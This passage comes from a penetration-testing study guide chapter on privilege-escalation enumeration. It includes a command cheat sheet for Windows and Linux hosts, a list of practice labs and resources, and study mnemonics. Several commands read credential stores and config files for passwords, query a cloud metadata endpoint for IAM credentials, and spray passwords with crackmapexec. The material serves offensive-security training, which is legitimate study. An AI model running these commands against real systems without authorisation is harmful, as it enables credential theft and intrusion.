whoami /priv & whoami /groups & hostname & systeminfo
net user %USERNAME% & net localgroup administrators
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# WINDOWS AROUND / SECRETS / NET
tasklist /v & schtasks /query /fo LIST /v
cmdkey /list & findstr /si password *.txt *.ini *.config *.xml
type C:\Windows\Panther\Unattend.xml
ipconfig /all & route print & netstat -ano & arp -a
# CLOUD / CONTAINER CHECKS
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
cat /.dockerenv 2>/dev/null; cat /proc/1/cgroup | grep -E 'docker|lxc|kube'
# CREDENTIAL REUSE (throttle, watch lockouts!)
su - user # linux
crackmapexec smb SUBNET -u users.txt -p 'Pass!' --continue-on-success
# TURN FINDINGS INTO PLAN
# Linux binary from sudo -l / SUID -> GTFOBins
# Windows signed binary -> LOLBAS
# Rank: creds > sudo/GTFOBins > SUID/caps > writable cron/service > kernelPart 17: Practice Labs & Resources
- TryHackMe — "Linux PrivEsc" and "Windows PrivEsc" — structured coverage of every enumeration finding this chapter introduces, with targets to exploit.
- TryHackMe — "Enumeration" / "Common Linux Privesc" — drills the manual-enumeration loop specifically.
- HackTheBox Academy — "Linux Privilege Escalation" and "Windows Privilege Escalation" modules — the definitive graded coverage.
- GTFOBins and LOLBAS — bookmark both; they are the lookup tables that turn enumeration into escalation.
- HackTricks (Linux/Windows local privilege escalation pages) — the exhaustive checklist reference; use it to sanity-check your manual pass against everything a scanner would test.
- Sushant747 / g0tmi1k "Basic Linux Privilege Escalation" guides — the classic enumeration checklists that predate the automated scanners; read them once to understand why each check exists.
- pspy, LinPEAS, WinPEAS, Seatbelt — install and run each in a lab so you know their output before you need it.
- TryHackMe — "Post-Exploitation Basics" — practises situational awareness, credential looting, and pivoting from a foothold specifically.
- CyberDefenders / Blue Team Labs — work the defensive side: detect the enumeration bursts you now know how to generate.
- Proving Grounds (Offensive Security) — practice machines that reward methodical enumeration over exploit-spraying, close to real engagement conditions.
- HackTheBox — easy Linux/Windows boxes — practise the full loop on every box: never fire an exploit before you've answered all five questions.
- PEN-200 / OSCP lab machines — the exam rewards exactly this methodology under time pressure; drill until the five-question pass is automatic.
- pwnkit / GTFOBins demo VMs and VulnHub "Basic Pentesting" — safe offline targets to practise turning enumeration into a ranked plan.
Memory hooks
- "Enumerate, don't guess." The path is a fact you haven't found yet, not an exploit you haven't tried.
- "Read
id, readwhoami /priv." The first line often is the answer (docker, sudo, SeImpersonate). - "Five questions." Me, host, around, network, secrets — in that order.
- "Creds beat CVEs." A found password is faster, quieter, and more reliable than any exploit.
- "GTFOBins for the binary, LOLBAS for the EXE." Turn a finding into a technique.
- "Notes or it didn't happen." The finding you didn't record is the one you'll miss.
Self-check before moving on
Land a fresh shell in any lab and, without a scanner, answer all five questions and produce a ranked plan in under ten minutes. Then run LinPEAS/WinPEAS and confirm it surfaced nothing you missed. When your manual pass consistently matches or beats the scanner, you own this chapter — and every escalation chapter that follows becomes "map the finding to the technique."
A final framing to carry into every chapter that follows: escalation is rarely a single genius move. It is a chain of small, boring, correct observations — a group membership, a writable file, a password in a config — assembled by a disciplined loop into an obvious conclusion. The operators who consistently reach root and Domain Admin are not the ones who know the most exploits; they are the ones who enumerate the most thoroughly and read the output most carefully. Everything else in this notebook is technique; this chapter is the habit that decides whether the technique ever gets used.
The next chapter goes deep on the first half of the escalation itself: Linux privilege escalation enumeration, teaching LinPEAS from scratch alongside the manual techniques that find what it misses.